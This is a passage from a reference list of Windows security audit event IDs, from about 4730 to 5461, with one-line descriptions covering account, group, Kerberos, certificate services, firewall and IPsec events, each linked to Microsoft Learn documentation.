deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4730)\n- [4731: A security-enabled local group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4731)\n- [4732: A member was added to a security-enabled local group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4732)\n- [4733: A member was removed from a security-enabled local group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4733)\n- [4734: A security-enabled local group was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4734)\n- [4735: A security-enabled local group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4735)\n- [4737: A security-enabled global group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4737)\n- [4738: A user account was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738)\n- [4739: Domain Policy was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4739)\n- [4740: A user account was locked out.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4740)\n- [4741: A computer account was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741)\n- [4742: A computer account was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4742)\n- [4743: A computer account was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743)\n- [4744: A security-disabled local group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4744)\n- [4745: A security-disabled local group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4745)\n- [4746: A member was added to a security-disabled local group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4746)\n- [4747: A member was removed from a security-disabled local group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4747)\n- [4748: A security-disabled local group was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4748)\n- [4749: A security-disabled global group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4749)\n- [4750: A security-disabled global group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4750)\n- [4751: A member was added to a security-disabled global group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4751)\n- [4752: A member was removed from a security-disabled global group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4752)\n- [4753: A security-disabled global group was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4753)\n- [4754: A security-enabled universal group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4754)\n- [4755: A security-enabled universal group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4755)\n- [4756: A member was added to a security-enabled universal group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4756)\n- [4757: A member was removed from a security-enabled universal group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4757)\n- [4758: A security-enabled universal group was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4758)\n- [4759: A security-disabled universal group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4759)\n- [4760: A security-disabled universal group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4760)\n- [4761: A member was added to a security-disabled universal group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4761)\n- [4762: A member was removed from a security-disabled universal group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4762)\n- [4763: A security-disabled universal group was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4763)\n- [4764: A group's type was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4764)\n- [4765: SID History was added to an account.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4765)\n- [4766: An attempt to add SID History to an account failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4766)\n- [4767: A user account was unlocked.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4767)\n- [4768: A Kerberos authentication ticket (TGT) was requested.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768)\n- [4769: A Kerberos service ticket was requested.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4769)\n- [4770: A Kerberos service ticket was renewed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4770)\n- [4771: Kerberos pre-authentication failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4771)\n- [4772: A Kerberos authentication ticket request failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4772)\n- [4773: A Kerberos service ticket request failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4773)\n- [4774: An account was mapped for logon.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4774)\n- [4775: An account could not be mapped for logon.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4775)\n- [4776: The computer attempted to validate the credentials for an account.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776)\n- [4777: The domain controller failed to validate the credentials for an account.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4777)\n- [4778: A session was reconnected to a Window Station.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4778)\n- [4779: A session was disconnected from a Window Station.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4779)\n- [4780: The ACL was set on accounts which are members of administrators groups.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4780)\n- [4781: The name of an account was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4781)\n- [4782: The password hash of an account was accessed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4782)\n- [4783: A basic application group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4783)\n- [4784: A basic application group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4784)\n- [4785: A member was added to a basic application group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4785)\n- [4786: A member was removed from a basic application group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4786)\n- [4787: A non-member was added to a basic application group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4787)\n- [4788: A non-member was removed from a basic application group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4788)\n- [4789: A basic application group was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4789)\n- [4790: An LDAP query group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4790)\n- [4791: An LDAP query group was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4791)\n- [4792: An LDAP query group was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4792)\n- [4793: The Password Policy Checking API was called.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4793)\n- [4794: An attempt was made to set the Directory Services Restore Mode administrator password.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4794)\n- [4798: A user's local group membership was enumerated.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4798)\n- [4799: A security-enabled local group membership was enumerated.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4799)\n- [4800: The workstation was locked.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4800)\n- [4801: The workstation was unlocked.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4801)\n- [4802: The screen saver was invoked.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4802)\n- [4803: The screen saver was dismissed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4803)\n- [4816: RPC detected an integrity violation while decrypting an incoming message.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4816)\n- [4817: Auditing settings on object were changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4817)\n- [4818: Proposed Central Access Policy does not grant the same access permissions as the current Central Access Policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4818)\n- [4819: Central Access Policies on the machine have been changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4819)\n- [4826: Boot Configuration Data loaded.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4826)\n- [4864: A namespace collision was detected.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4864)\n- [4865: A trusted forest information entry was added.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4865)\n- [4866: A trusted forest information entry was removed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4866)\n- [4867: A trusted forest information entry was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4867)\n- [4868: The certificate manager denied a pending certificate request.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4868)\n- [4869: Certificate Services received a resubmitted certificate request.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4869)\n- [4870: Certificate Services revoked a certificate.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4870)\n- [4871: Certificate Services received a request to publish the certificate revocation list (CRL).](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4871)\n- [4872: Certificate Services published the certificate revocation list (CRL).](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4872)\n- [4873: A certificate request extension changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4873)\n- [4874: One or more certificate request attributes changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4874)\n- [4875: Certificate Services received a request to shut down.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4875)\n- [4876: Certificate Services backup started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4876)\n- [4877: Certificate Services backup completed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4877)\n- [4878: Certificate Services restore started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4878)\n- [4879: Certificate Services restore completed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4879)\n- [4880: Certificate Services started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4880)\n- [4881: Certificate Services stopped.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4881)\n- [4882: The security permissions for Certificate Services changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4882)\n- [4883: Certificate Services retrieved an archived key.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4883)\n- [4884: Certificate Services imported a certificate into its database.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4884)\n- [4885: The audit filter for Certificate Services changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4885)\n- [4886: Certificate Services received a certificate request.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4886)\n- [4887: Certificate Services approved a certificate request and issued a certificate.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4887)\n- [4888: Certificate Services denied a certificate request.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4888)\n- [4889: Certificate Services set the status of a certificate request to pending.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4889)\n- [4890: The certificate manager settings for Certificate Services changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4890)\n- [4891: A configuration entry changed in Certificate Services.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4891)\n- [4892: A property of Certificate Services changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4892)\n- [4893: Certificate Services archived a key.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4893)\n- [4894: Certificate Services imported and archived a key.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4894)\n- [4895: Certificate Services published the CA certificate to Active Directory Domain Services.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4895)\n- [4896: One or more rows have been deleted from the certificate database.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4896)\n- [4897: Role separation enabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4897)\n- [4898: Certificate Services loaded a template.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4898)\n- [4902: The Per-user audit policy table was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4902)\n- [4904: An attempt was made to register a security event source.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4904)\n- [4905: An attempt was made to unregister a security event source.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4905)\n- [4906: The CrashOnAuditFail value has changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4906)\n- [4907: Auditing settings on object were changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4907)\n- [4908: Special Groups Logon table modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4908)\n- [4909: The local policy settings for the TBS were changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4909)\n- [4910: The group policy settings for the TBS were changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4910)\n- [4911: Resource attributes of the object were changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4911)\n- [4912: Per User Audit Policy was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4912)\n- [4913: Central Access Policy on the object was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4913)\n- [4928: An Active Directory replica source naming context was established.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4928)\n- [4929: An Active Directory replica source naming context was removed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4929)\n- [4930: An Active Directory replica source naming context was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4930)\n- [4931: An Active Directory replica destination naming context was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4931)\n- [4932: Synchronization of a replica of an Active Directory naming context has begun.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4932)\n- [4933: Synchronization of a replica of an Active Directory naming context has ended.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4933)\n- [4934: Attributes of an Active Directory object were replicated.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4934)\n- [4935: Replication failure begins.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4935)\n- [4936: Replication failure ends.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4936)\n- [4937: A lingering object was removed from a replica.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4937)\n- [4944: The following policy was active when the Windows Firewall started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4944)\n- [4945: A rule was listed when the Windows Firewall started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4945)\n- [4946: A change has been made to Windows Firewall exception list. A rule was added.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4946)\n- [4947: A change has been made to Windows Firewall exception list. A rule was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4947)\n- [4948: A change has been made to Windows Firewall exception list. A rule was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4948)\n- [4949: Windows Firewall settings were restored to the default values.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4949)\n- [4950: A Windows Firewall setting has changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4950)\n- [4951: A rule has been ignored because its major version number was not recognized by Windows Firewall.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4951)\n- [4952: Parts of a rule have been ignored because its minor version number was not recognized by Windows Firewall. The other parts of the rule will be enforced.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4952)\n- [4953: A rule has been ignored by Windows Firewall because it could not parse the rule.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4953)\n- [4954: Windows Firewall Group Policy settings have changed. The new settings have been applied.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4954)\n- [4956: Windows Firewall has changed the active profile.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4956)\n- [4957: Windows Firewall did not apply the following rule:](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4957)\n- [4958: Windows Firewall did not apply the following rule because the rule referred to items not configured on this computer:](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4958)\n- [4960: IPsec dropped an inbound packet that failed an integrity check.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4960)\n- 4961: IPsec dropped an inbound packet that failed a replay check.\n- 4962: IPsec dropped an inbound packet that failed a replay check.\n- [4963: IPsec dropped an inbound clear text packet that should have been secured.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4963)\n- [4964: Special groups have been assigned to a new logon.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964)\n- [4965: IPsec received a packet from a remote computer with an incorrect Security Parameter Index (SPI).](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4965)\n- [4976: During Main Mode negotiation, IPsec received an invalid negotiation packet.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4976)\n- [4977: During Quick Mode negotiation, IPsec received an invalid negotiation packet.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4977)\n- [4978: During Extended Mode negotiation, IPsec received an invalid negotiation packet.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4978)\n- [4979: IPsec Main Mode and Extended Mode security associations were established.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4979)\n- [4980: IPsec Main Mode and Extended Mode security associations were established.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4980)\n- [4981: IPsec Main Mode and Extended Mode security associations were established.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4981)\n- [4982: IPsec Main Mode and Extended Mode security associations were established.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4982)\n- [4983: An IPsec Extended Mode negotiation failed. The corresponding Main Mode security association has been deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4983)\n- [4984: An IPsec Extended Mode negotiation failed. The corresponding Main Mode security association has been deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4984)\n- [4985: The state of a transaction has changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4985)\n- [5024: The Windows Firewall Service has started successfully.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5024)\n- [5025: The Windows Firewall Service has been stopped.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5025)\n- [5027: The Windows Firewall Service was unable to retrieve the security policy from the local storage. The service will continue enforcing the current policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5027)\n- [5028: The Windows Firewall Service was unable to parse the new security policy. The service will continue with currently enforced policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5028)\n- [5029: The Windows Firewall Service failed to initialize the driver. The service will continue to enforce the current policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5029)\n- [5030: The Windows Firewall Service failed to start.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5030)\n- [5031: The Windows Firewall Service blocked an application from accepting incoming connections on the network.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5031)\n- [5032: Windows Firewall was unable to notify the user that it blocked an application from accepting incoming connections on the network.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5032)\n- [5033: The Windows Firewall Driver has started successfully.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5033)\n- [5034: The Windows Firewall Driver was stopped.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5034)\n- [5035: The Windows Firewall Driver failed to start.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5035)\n- [5037: The Windows Firewall Driver detected critical runtime error. Terminating.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5037)\n- [5038: Code integrity determined that the image hash of a file is not valid. The file could be corrupt due to unauthorized modification or the invalid hash could indicate a potential disk device error.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5038)\n- [5039: A registry key was virtualized.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5039)\n- [5040: A change has been made to IPsec settings. An Authentication Set was added.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5040)\n- [5041: A change has been made to IPsec settings. An Authentication Set was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5041)\n- [5042: A change has been made to IPsec settings. An Authentication Set was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5042)\n- [5043: A change has been made to IPsec settings. A Connection Security Rule was added.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5043)\n- [5044: A change has been made to IPsec settings. A Connection Security Rule was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5044)\n- [5045: A change has been made to IPsec settings. A Connection Security Rule was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5045)\n- [5046: A change has been made to IPsec settings. A Crypto Set was added.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5046)\n- [5047: A change has been made to IPsec settings. A Crypto Set was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5047)\n- [5048: A change has been made to IPsec settings. A Crypto Set was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5048)\n- [5049: An IPsec Security Association was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5049)\n- [5051: A file was virtualized.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5051)\n- [5056: A cryptographic self-test was performed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5056)\n- [5057: A cryptographic primitive operation failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5057)\n- [5058: Key file operation.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5058)\n- [5059: Key migration operation.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5059)\n- [5060: Verification operation failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5060)\n- [5061: Cryptographic operation.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5061)\n- [5062: A kernel-mode cryptographic self-test was performed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5062)\n- [5063: A cryptographic provider operation was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5063)\n- [5064: A cryptographic context operation was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5064)\n- [5065: A cryptographic context modification was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5065)\n- [5066: A cryptographic function operation was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5066)\n- [5067: A cryptographic function modification was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5067)\n- [5068: A cryptographic function provider operation was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5068)\n- [5069: A cryptographic function property operation was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5069)\n- [5070: A cryptographic function property modification was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5070)\n- [5136: A directory service object was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136)\n- [5137: A directory service object was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5137)\n- [5138: A directory service object was undeleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5138)\n- [5139: A directory service object was moved.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5139)\n- [5140: A network share object was accessed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5140)\n- [5141: A directory service object was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5141)\n- [5142: A network share object was added.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5142)\n- [5143: A network share object was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5143)\n- [5144: A network share object was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5144)\n- [5145: A network share object was checked to see whether client can be granted desired access.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5145)\n- [5148: The Windows Filtering Platform has detected a DoS attack and entered a defensive mode; packets associated with this attack will be discarded.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5148)\n- [5149: The DoS attack has subsided and normal processing is being resumed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5149)\n- [5150: The Windows Filtering Platform blocked a packet.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5150)\n- [5151: A more restrictive Windows Filtering Platform filter has blocked a packet.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5151)\n- [5152: The Windows Filtering Platform blocked a packet.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5152)\n- [5153: A more restrictive Windows Filtering Platform filter has blocked a packet.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5153)\n- [5154: The Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5154)\n- [5155: The Windows Filtering Platform has blocked an application or service from listening on a port for incoming connections.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5155)\n- [5156: The Windows Filtering Platform has permitted a connection.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156)\n- [5157: The Windows Filtering Platform has blocked a connection.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5157)\n- [5158: The Windows Filtering Platform has permitted a bind to a local port.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5158)\n- [5159: The Windows Filtering Platform has blocked a bind to a local port.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5159)\n- [5168: SPN check for SMB/SMB2 failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5168)\n- [5376: Credential Manager credentials were backed up.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5376)\n- [5377: Credential Manager credentials were restored from a backup.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5377)\n- [5378: The requested credentials delegation was disallowed by policy.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5378)\n- [5440: The following callout was present when the Windows Filtering Platform Base Filtering Engine started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5440)\n- [5441: The following filter was present when the Windows Filtering Platform Base Filtering Engine started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5441)\n- [5442: The following provider was present when the Windows Filtering Platform Base Filtering Engine started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5442)\n- [5443: The following provider context was present when the Windows Filtering Platform Base Filtering Engine started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5443)\n- [5444: The following sub-layer was present when the Windows Filtering Platform Base Filtering Engine started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5444)\n- [5446: A Windows Filtering Platform callout has been changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5446)\n- [5447: A Windows Filtering Platform filter has been changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5447)\n- [5448: A Windows Filtering Platform provider has been changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5448)\n- [5449: A Windows Filtering Platform provider context has been changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5449)\n- [5450: A Windows Filtering Platform sub-layer has been changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5450)\n- [5451: An IPsec Quick Mode security association was established.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5451)\n- [5452: An IPsec Quick Mode security association ended.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5452)\n- [5453: An IPsec negotiation with a remote computer failed because the IKE and AuthIP IPsec Keying Modules (IKEEXT) service is not started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5453)\n- [5456: PAStore Engine applied Active Directory storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5456)\n- [5457: PAStore Engine failed to apply Active Directory storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5457)\n- [5458: PAStore Engine applied locally cached copy of Active Directory storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5458)\n- [5459: PAStore Engine failed to apply locally cached copy of Active Directory storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5459)\n- [5460: PAStore Engine applied local registry storage IPsec policy on the computer.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5460)\n- [5461: PAStore Engine failed to apply local registry storage IPsec policy on the 